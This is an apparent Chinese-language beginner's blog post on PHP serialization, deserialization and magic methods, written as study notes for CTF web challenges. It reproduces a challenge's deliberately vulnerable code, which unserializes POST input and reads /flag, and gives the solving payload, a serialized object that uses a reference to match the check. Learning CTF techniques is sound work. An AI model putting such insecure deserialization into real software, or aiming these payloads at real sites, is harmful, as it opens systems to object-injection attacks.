PHP代码审计与反序列化(web)

178 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第1天,点击查看活动详情

前言:

php代码反序列化于我而言一直是ctf比赛相对有难度的一个模块,所以对这个模块做一下学习总结。奈何现在还是小菜鸡,就先浅浅总结一下较为基础的一些内容。以后做到相应的题再分析相关的内容。

php序列化和反序列化

首先要清楚php序列化的概念:将对象或者数组转化为可存储的字符串 在PHP中使用serialize()函数来将对象或者数组进行序列化,并返回一个包含字节流的字符串来表示。这是比较官方的解释,很严谨但不太好理解。我对此的理解就是将一个对象变成可以传输的字符串。比如下面这个例子

图片.png 序列化的格式为(o:类名:类的变量个数{类型:长度:值;类型:长度:值;...} 其他类型的数据序列化后的格式为:

图片.png 对于反序列化,顾名思义,就是将序列化的过程给它反过来就行了。

图片.png 很明显,这个就是将上面那个过程给反过来了。

魔术方法

_construct()当对象创建(new)时会自动调用。但在反序列化时是不会自动调用的
__destruct()当对象被销毁时会自动调用。
_tostring()当一个对象被当作一个字符串使用
__sleep()在对象在被序列化之前运行
wakeup在反序列化时立即被调用

之前的一个题:code review


hlight_file(__FILE__);

class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

这个题涉及到php弱类型,百度看一下相关的知识点:

该函数用于打印显示,一个变量的内容与结构,以及类型的信息。

该函数有一个参数,第一个参数(必填).第二个参数(选填参数,N)可以多个参数。 demo:

图片.png 输出部分:

array(4) { [0]=> int(1) [1]=> int(2) [2]=> int(3) [3]=> array(3) { [0]=> string(1) "a" [1]=> string(1) "b" [2]=> string(1) "c" } } 严格比较就是说两个参数,不仅类型要相同,值也要相同,上面这个表就很直观地反映了出来。

至于松散比较,两个参数类型就没必要相同,因为类型不同会自动转换,然后再进行比较 然后开始分析题目的源码,浅分析一下:

先是创建一个名为buu的类,然后创建两个对象。对经过base64编码后的uniqid值赋给correct

然后,通过get和post传参。\

然后看一下wp:需要序列化对象:


public $correct = "";

public $input = ""; }

$a = new BUU();

$a->input = &$a->correct;

echo serialize($a);

结果\
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

今天的分享就到这里,明天继续。